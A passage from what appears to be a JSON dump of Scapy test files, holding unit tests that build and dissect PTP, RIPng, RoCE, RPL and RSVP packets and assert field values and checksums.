pkt.sequenceId == 116\nassert pkt.controlField == 0\nassert pkt.logMessageInterval == 0\nassert pkt.originTimestamp_seconds == 1169232218\nassert pkt.originTimestamp_nanoseconds == 174389936\n\n= Delay_Req packet dissection\ns= b'\\x11\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x01\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0x1\nassert pkt.controlField == 0x1\n\n= Pdelay_Req packet dissection\ns= b'\\x12\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x05\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0x2\nassert pkt.controlField == 0x5\n\n= Pdelay_Resp packet dissection\ns= b'\\x13\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x05\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0x3\nassert pkt.controlField == 0x5\nassert pkt.requestReceiptTimestamp_seconds == 1169232218\nassert pkt.requestReceiptTimestamp_nanoseconds == 174389936\n\n= Follow_Up packet dissection\ns= b'\\x18\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x02\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0x8\nassert pkt.controlField == 0x2\nassert pkt.preciseOriginTimestamp_seconds == 1169232218\nassert pkt.preciseOriginTimestamp_nanoseconds == 174389936\n\n= Delay_Resp packet dissection\ns= b'\\x19\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x03\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0x9\nassert pkt.controlField == 0x3\nassert pkt.receiveTimestamp_seconds == 1169232218\nassert pkt.receiveTimestamp_nanoseconds == 174389936\n\n= Pdelay_Resp_Follow packet dissection\ns= b'\\x1A\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x05\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.messageType == 0xA\nassert pkt.controlField == 0x5\nassert pkt.responseOriginTimestamp_seconds == 1169232218\nassert pkt.responseOriginTimestamp_nanoseconds == 174389936\n\n= Announce packet dissection\ns= b'\\x1b\\x02\\x00\\x40\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x05\\x01\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0\\x00\\x00\\x00\\x60\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\xf8\\x21\\x00\\x00\\x80\\x80'\npkt = PTP(s)\nassert pkt.messageType == 0xB\nassert pkt.messageLength == 64\nassert pkt.controlField == 0x5\nassert pkt.currentUtcOffset == 0\nassert pkt.reserved4 == 0\nassert pkt.grandmasterPriority1 == 96\nassert pkt.grandmasterClockClass == 0\nassert pkt.grandmasterClockAccuracy == 0x0\nassert pkt.grandmasterClockVariance == 128\nassert pkt.grandmasterPriority2 == 99\nassert pkt.grandmasterIdentity == 0xffff0009baf82100\nassert pkt.stepsRemoved == 128\nassert pkt.timeSource == 0x80\n"
  },
  {
    "path": "test/contrib/ripng.uts",
    "content": "+ RIPng Contrib tests\n\n= Basic RIPng build\n\npkt = Ether()/IP()/UDP()/RIPng()/RIPngEntry(prefix_or_nh='8c07:9bc5:fdf6:996:117e:08c0:dd84:549e', metric=255)/RIPngEntry(prefix_or_nh='afb6:5b1b:c518:a147:312a:0c32:f40c:3771')\npkt = Ether(raw(pkt))\nassert RIPngEntry in pkt\nassert pkt[RIPngEntry].prefix_or_nh == '8c07:9bc5:fdf6:996:117e:8c0:dd84:549e'\nassert pkt[RIPngEntry].payload.prefix_or_nh == 'afb6:5b1b:c518:a147:312a:c32:f40c:3771'\n"
  },
  {
    "path": "test/contrib/roce.uts",
    "content": "# RoCE unit tests\n# run with:\n#   test/run_tests  -P \"load_contrib('roce')\" -t test/contrib/roce.uts -F\n\n% Regression tests for the RoCE layer\n\n################\n##### RoCE #####\n################\n\n+ RoCE tests\n\n= RoCE layer\n\n# an example UC packet \npkt = Ether(dst='24:8a:07:a8:fa:22', src='24:8a:07:a8:fa:22')/ \\\n      IP(version=4, ihl=5, tos=0x1, id=1144, flags='DF', frag=0, \\\n         ttl=64, src='192.168.0.7', dst='192.168.0.7', len=64)/ \\\n      UDP(sport=49152, dport=4791, len=44)/ \\\n      BTH(opcode='UC_SEND_ONLY', migreq=1, padcount=2, pkey=0xffff, dqpn=211, psn=13571856)/ \\\n      Raw(b'F0\\x81\\x8b\\xe2\\x895\\xd9\\x0e\\x9a\\x95PT\\x01\\xbe\\x88^P\\x00\\x00')\n\n# include ICRC placeholder\npkt = Ether(pkt.build() + b'\\x00' * 4)\n\nassert IP in pkt.layers()\nprint(hex(pkt[IP].chksum))\nassert pkt[IP].chksum == 0xb4d5\nassert UDP in pkt.layers()\nprint(hex(pkt[UDP].chksum))\nassert pkt[UDP].chksum == 0xaca2\nassert BTH in pkt.layers()\nassert pkt[BTH].icrc == 0x78f353f3\n\n= RoCE CNP packet\n\n# based on this example packet:\n# https://community.mellanox.com/s/article/rocev2-cnp-packet-format-example\n\npkt = Ether()/IP(src='22.22.22.8', dst='22.22.22.7', id=0x98c6, flags='DF',\n                 ttl=0x20, tos=0x89)/ \\\n      UDP(sport=56238, dport=4791, chksum=0)/ \\\n      cnp(dqpn=0xd2)\npkt = Ether(pkt.build())\n\nassert pkt[IP].len == 60\nassert pkt[UDP].len == 40\nassert pkt[BTH].opcode == 0x81\nassert pkt[BTH].becn\nassert not pkt[BTH].fecn\nassert pkt[BTH].resv6 == 0\nassert pkt[BTH].resv7 == 0\nassert pkt[BTH].dqpn == 0xd2\nassert pkt[BTH].version == 0\nassert not pkt[BTH].solicited\nassert not pkt[BTH].migreq\nassert pkt[BTH].padcount == 0\nassert pkt[BTH].pkey == 0xffff\nassert not pkt[BTH].ackreq\nassert pkt[BTH].psn == 0\nassert pkt[CNPPadding].reserved1 == 0\nassert pkt[CNPPadding].reserved2 == 0\n# assert pkt[BTH].icrc == 0xe42dad81 TODO - does not match example\n\n= RoCE CNP captured on ConnectX-4 Lx\n\npkt = Ether(import_hexcap('''0x0000:  e41d 2dab 2bc2 7cfe 9064 3b32 0800 45c2\n0x0010:  003c 718c 4000 4011 9161 0a00 1101 0a00\n0x0020:  1201 0000 12b7 0028 0000 8100 ffff 4000\n0x0030:  0118 0000 0000 0000 0000 0000 0000 0000\n0x0040:  0000 0000 0000 82fd 002a\n'''))\n\nassert BTH in pkt.layers()\nassert pkt.opcode == CNP_OPCODE\ndel pkt.icrc\npkt = Ether(pkt.build())\nassert pkt.icrc == 0x82fd002a\n\n= RoCE v1 RC RDMA WRITE ONLY\n\npkt = Ether(import_hexcap('''\\\n0x0000   7c fe 90 75 3c d8 7c fe 90 75 3c d8 89 15 60 20\n0x0010   00 00 00 28 1b 40 00 00 00 00 00 00 00 00 00 00\n0x0020   ff ff 0f 00 00 02 00 00 00 00 00 00 00 00 00 00\n0x0030   ff ff 0f 00 00 02 0a 70 ff ff 00 00 01 0a 80 a7\n0x0040   88 bc 00 00 55 d4 c0 72 60 00 00 00 47 b3 00 00\n0x0050   00 05 00 00 00 00 01 00 00 00 e3 d8 56 bb\n'''))\n\nassert GRH in pkt.layers()\nassert BTH in pkt.layers()\nassert pkt[GRH].ipver == 6\nassert pkt[GRH].tclass == 2\nassert pkt[GRH].flowlabel == 0\nassert pkt[GRH].paylen == 40\nassert pkt[BTH].opcode == 0xa\nassert pkt[BTH].padcount == 3\nassert pkt[BTH].dqpn == 0x10a\nassert pkt[BTH].ackreq\nassert pkt.icrc == 0xe3d856bb\n\n= RoCE v1 RC ACKNOWLEDGE\n\npkt = Ether(import_hexcap('''\\\n0000   7c fe 90 75 3c d8 7c fe 90 75 3c d8 89 15 60 20\n0010   00 00 00 14 1b 40 00 00 00 00 00 00 00 00 00 00\n0020   ff ff 0f 00 00 02 00 00 00 00 00 00 00 00 00 00\n0030   ff ff 0f 00 00 02 11 40 ff ff 00 00 01 09 00 a7\n0040   88 c0 00 00 00 05 25 f0 c0 38\n'''))\n\nassert GRH in pkt.layers()\nassert BTH in pkt.layers()\nassert AETH in pkt.layers()\nassert pkt[GRH].ipver == 6\nassert pkt[GRH].tclass == 2\nassert pkt[GRH].flowlabel == 0\nassert pkt[GRH].paylen == 20\nassert pkt[BTH].opcode == 0x11\nassert pkt[BTH].padcount == 0\nassert pkt[BTH].dqpn == 0x109\nassert not pkt[BTH].ackreq\nassert pkt[AETH].syndrome == 0\nassert pkt[AETH].msn == 5\nassert pkt.icrc == 0x25f0c038\n\n= RoCE over IPv6\n\n# an example UC packet \npkt = Ether(dst='24:8a:07:a8:fa:22', src='24:8a:07:a8:fa:22')/ \\\n      IPv6(nh=17,src='2022::1023', dst='2023::1024', \\\n           version=6,hlim=255,plen=44,fl=0x1face,tc=226)/ \\\n      UDP(sport=49152, dport=4791, len=44)/ \\\n      BTH(opcode='UC_SEND_ONLY', migreq=1, padcount=2, pkey=0xffff, dqpn=211, psn=13571856)/ \\\n      Raw(b'F0\\x81\\x8b\\xe2\\x895\\xd9\\x0e\\x9a\\x95PT\\x01\\xbe\\x88^P\\x00\\x00')\n\n# include ICRC placeholder\npkt = Ether(pkt.build() + b'\\x00' * 4)\n\nassert IPv6 in pkt.layers()\nassert UDP in pkt.layers()\nprint(hex(pkt[UDP].chksum))\nassert pkt[UDP].chksum == 0xe7c5\nassert BTH in pkt.layers()\nprint(hex(pkt[BTH].icrc))\nassert pkt[BTH].icrc == 0x3e5b743b\n"
  },
  {
    "path": "test/contrib/rpl.uts",
    "content": "% RPL layer test campaign\n\n+ Syntax check\n= Import the RPL layer\nload_contrib(\"rpl\")\nload_contrib(\"rpl_metrics\")\n\n+ Test RPL Control Messages\n= RPL Base Objects construction\nassert raw(ICMPv6RPL()/RPLDIS()) == b'\\x9b\\x00\\x00\\x00\\x00\\x00'\nassert raw(ICMPv6RPL()/RPLDIO()) == b'\\x9b\\x01\\x00\\x00\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nassert raw(ICMPv6RPL()/RPLDAO()) == b'\\x9b\\x02\\x00\\x00\\x32\\x00\\x00\\x01'\nassert raw(ICMPv6RPL()/RPLDAOACK()) == b'\\x9b\\x03\\x00\\x00\\x32\\x00\\x01\\x00'\nassert raw(ICMPv6RPL()/RPLDCO()) == b'\\x9b\\x07\\x00\\x00\\x32\\x00\\x00\\x01'\nassert raw(ICMPv6RPL()/RPLDCOACK()) == b'\\x9b\\x08\\x00\\x00\\x32\\x00\\x01\\x00'\np=raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDCOACK()/RPLOptPadN(optdata='0'*10))\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x14\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x08\\x42\\x0f\\x32\\x00\\x01\\x00\\x01\\x0a\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDCO()/RPLOptTgt(prefix=\"fd00::1\", plen=128))\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x1c\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x07\\x32\\x6e\\x32\\x00\\x00\\x01\\x05\\x12\\x00\\x80\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptRIO(plen=64, prefix=\"fd00::1\"))\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x34\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\x6b\\xe6\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x03\\x16\\x40\\x00\\xff\\xff\\xff\\xff\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO(dodagid=\"aaaa::1\")/RPLOptDODAGConfig()/RPLOptDAGMC()/RPLDAGMCLinkETX())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x34\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xef\\x1e\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x0e\\x00\\x14\\x03\\x0a\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\xff\\xff\\xff\\x02\\x06\\x07\\x00\\x00\\x02\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO(dodagid=\"aaaa::1\")/RPLOptPIO(plen=64, prefix=\"fd00::1\"))\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x3c\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xbc\\x2b\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x08\\x1e\\x40\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\", dst=\"fe80::2\")/ICMPv6RPL()/RPLDAO()/RPLOptTgtDesc())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x0e\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x9b\\x02\\x2c\\xab\\x32\\x00\\x00\\x01\\x09\\x04\\x00\\x00\\x00\\x00'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNSA())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x24\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa9\\x06\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x01\\x00\\x00\\x02\\x00\\x00'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNodeEnergy())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x24\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa8\\x06\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x02\\x00\\x00\\x02\\x00\\x00'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCHopCount())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x24\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa7\\x05\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x03\\x00\\x00\\x02\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkThroughput())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x26\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa5\\xff\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x08\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkColor())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x25\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\x61\\x03\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x07\\x08\\x00\\x00\\x03\\x00\\x00\\x41'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkLatency())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x26\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa4\\xff\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x08\\x05\\x00\\x00\\x04\\x00\\x00\\x00\\x01'\n\np = raw(IPv6(src=\"fe80::1\")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkQualityLevel())\nassert p == b'\\x60\\x00\\x00\\x00\\x00\\x24\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa4\\x06\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x06\\x00\\x00\\x02\\x00\\x00'\n\n\n= RPL Base Objects dissection\n# Test DIS dissection\np = ICMPv6RPL(b'\\x9b\\x00\\x00\\x00\\x00\\x00')\nassert p.code == 0\n\n# Test DIO dissection\np = ICMPv6RPL(b'\\x9b\\x01\\x00\\x00\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\nassert p.code == 1\nassert p.RPLInstanceID == 50\nassert p.ver == 0\nassert p.rank == 1\nassert p.G == 1\nassert p.mop == 1\nassert p.dtsn == 240\nassert p.dodagid == \"::1\"\n\n# Test DAO dissection\np = ICMPv6RPL(b'\\x9b\\x02\\x00\\x00\\x32\\x00\\x00\\x01')\nassert p.code == 2\n\n+ Test RPL Control Message Options\n= RPL Control Options construction\n# DIS\nassert raw(ICMPv6RPL()/RPLDIS()/RPLOptPad1()) == b'\\x9b\\x00\\x00\\x00\\x00\\x00\\x00'\n\n# DIS with solicited info option\nassert raw(ICMPv6RPL()/RPLDIS()/RPLOptSolInfo()) == b'\\x9b\\x00\\x00\\x00\\x00\\x00\\x07\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\n\n# DIO with DAG MC option with link ETX metric\nassert raw(ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkETX()) == b'\\x9b\\x01\\x00\\x00\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x07\\x00\\x00\\x02\\x00\\x01'\n\n# Normal DAO message with single target, since transit\nassert raw(IPv6(src=\"fe80::1\", dst=\"fe80::2\")/\\\n        ICMPv6RPL()/RPLDAO()/\\\n        RPLOptTgt(plen=128,prefix=\"fd00::1\")/\\\n        RPLOptTIO()) == \\\n        b'\\x60\\x00\\x00\\x00\\x00\\x22\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x9b\\x02\\x2c\\x04\\x32\\x00\\x00\\x01\\x05\\x12\\x00\\x80\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x06\\x04\\x00\\x00\\x00\\xff'\n\nassert raw(ICMPv6RPL()/RPLDAO(D=1, dodagid=\"fd00::1\")/RPLOptDAGMC()) == \\\n    b'\\x9b\\x02\\x00\\x00\\x32\\x40\\x00\\x01\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00'\n\np=IPv6(b'\\x60\\x00\\x00\\x00\\x00\\x1c\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x86\\xcc\\x88\\xaf\\xfa\\xbe\\x25\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x07\\xe8\\x3f\\x32\\x00\\x00\\x01\\x05\\x12\\x00\\x80\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\nassert p.payload.code == 7 # Its a DCO\n\np=IPv6(b'\\x60\\x00\\x00\\x00\\x00\\x2c\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x9b\\x02\\x35\\xbb\\x32\\x40\\x00\\x01\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x12\\x00\\x80\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\np.show()\nassert p.payload.code == 2 # Its a DAO\n\np=IPv6(b'\\x60\\x00\\x00\\x00\\x00\\x24\\x3a\\x40\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x9b\\x01\\xa3\\x05\\x32\\x00\\x00\\x01\\x88\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x06\\x07\\x00\\x00\\x02\\x00\\x01')\n#p.show()\nrpl=p.payload\nassert rpl.code == 1\ndio=rpl.payload\nassert dio.RPLInstanceID == 50\nassert dio.dtsn == 240\ndagmc=dio.payload\nassert dagmc.len == 6\nmc=dagmc.options[0]\nassert mc.ETX == 1\n"
  },
  {
    "path": "test/contrib/rsvp.uts",
    "content": "% Regression tests for the rsvp module\n\n+ Basic RSVP test\n\n= Default build\n\npkt = Ether()/IP()/RSVP()/RSVP_Object()/RSVP_SessionAttrb(Name=\"test\")\npkt = Ether(raw(pkt))\nassert RSVP_SessionAttrb in pkt\nassert pkt.Name == b\"test\"\n\n= Master dissection\n\npkt = Ether(b\"\\x00\\x90\\x92\\x9d\\x94\\x01\\x00\\xd0c\\xc3\\xb8G\\x08\\x00E\\x00\\x00\\x80\\x8ad\\x00\\x00\\xff.\\x8c\\xe7\\xd2\\x00\\x00\\x02\\xd2\\x00\\x00\\x01\\x10\\x02\\xeb\\xfa\\xff\\x00\\x00l\\x00\\x10\\x01\\x07\\x10\\x02\\x02\\x02\\x00\\x00\\x00\\x01\\x11\\x03\\x03\\x03\\x00\\x0c\\x03\\x01\\xd2\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x05\\x01\\x00\\x00u0\\x00\\x08\\x08\\x01\\x00\\x00\\x00\\x12\\x00$\\t\\x02\\x00\\x00\\x00\\x07\\x05\\x00\\x00\\x06\\x7f\\x00\\x00\\x05I\\x18\\x96\\x80Dz\\x00\\x00\\x7f\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\n\\x07\\x11\\x03\\x03\\x03\\x00\\x00'\\x11\\x00\\x08\\x10\\x01\\x00\\x00\\x00\\x10\\x03\\x06-\\xad\")\nassert RSVP_Time in pkt\nassert pkt[RSVP_Time].refresh == 30000\n"
  },
  {
    "path": "test/contrib/rtcp.uts",
